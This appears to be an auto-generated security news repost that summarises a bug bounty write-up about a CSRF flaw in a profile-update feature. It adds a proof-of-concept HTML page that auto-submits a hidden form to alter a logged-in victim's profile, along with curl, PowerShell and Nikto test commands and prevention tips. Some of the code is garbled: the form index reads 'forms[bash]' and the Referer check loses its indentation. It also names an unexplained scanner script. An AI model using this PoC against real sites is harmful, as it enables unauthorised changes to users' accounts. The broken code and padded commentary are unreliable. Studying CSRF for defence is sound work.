How I Found a CSRF Vulnerability and Developed a Custom CSRF Exploit to Modify User Profiles

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A security researcher discovered a Cross-Site Request Forgery (CSRF) vulnerability in a web application’s profile update feature. The flaw allowed unauthorized modifications to user profiles—such as changing names and notification preferences—without requiring a CSRF token.

By analyzing the vulnerable endpoint, the researcher crafted a custom HTML form that executed automatically when a victim was logged in, altering their settings without interaction. The bug was responsibly disclosed and rewarded with a $50 bounty.

🔗 Reference: AppSecWriteups.com

You Should Know: CSRF Exploitation & Prevention

1. Crafting a CSRF Exploit (Proof of Concept)

Here’s a sample malicious HTML form that exploits CSRF:

<html>
<body>

<form action="https://vulnerable-site.com/profile/update" method="POST">
<input type="hidden" name="name" value="Hacked User" />
<input type="hidden" name="notifications" value="disabled" />
</form>

<script>
document.forms[bash].submit();
</script>

</body>
</html>

– Save this as `csrf-poc.html` and host it on an attacker-controlled server.
– When a victim visits the page while logged in, their profile updates automatically.

2. Testing for CSRF Vulnerabilities

Use Burp Suite or curl to check for missing CSRF tokens:

curl -X POST https://vulnerable-site.com/profile/update -d "name=Test&notifications=enabled" -H "Cookie: session=VALID_SESSION_ID"

– If the request succeeds without a CSRF token, the endpoint is vulnerable.

3. Preventing CSRF Attacks

For Developers:

  • Use CSRF Tokens: 
    <input type="hidden" name="csrf_token" value="RANDOM_UNIQUE_VALUE">
  • SameSite Cookies: 
    Set-Cookie: session=abc123; SameSite=Strict; Secure
  • Check Referer Header: 
    if request.headers.get('Referer') != 'https://trusted-site.com':
return "Invalid request", 403

For Security Testers:

  • Automated Scanning: 
    python3 csrf-scanner.py -u https://target.com/profile/update
  • Manual Testing:
  • Remove CSRF tokens and replay requests.
  • Test with different origins (Origin header manipulation).

What Undercode Say

CSRF remains a critical web vulnerability despite being well-known. Many applications still fail to implement proper defenses, leading to unauthorized actions like:
– Profile changes
– Password resets
– Unauthorized transactions

Linux & Windows Commands for CSRF Testing:

  • Generate a Local Test Server (Python): 
    python3 -m http.server 8000
  • Check HTTP Headers (Linux): 
    curl -I https://target.com
  • Windows PowerShell CSRF Check: 
    Invoke-WebRequest -Uri "https://target.com/profile" -Method POST -Body "name=Hacked"
  • Automate with Nikto: 
    nikto -h https://target.com -Tuning 7

Expected Output:

A successful CSRF attack modifies user data without consent, proving the vulnerability.

Prediction

As APIs and SPAs grow, CSRF risks may decline due to widespread CORS and token-based auth. However, legacy systems and misconfigurations will keep this bug relevant in bug bounty programs.

🔗 More CSRF Writeups: AppSecWriteups.com

IT/Security Reporter URL:

Reported By: Jivanmagare Bugbounty – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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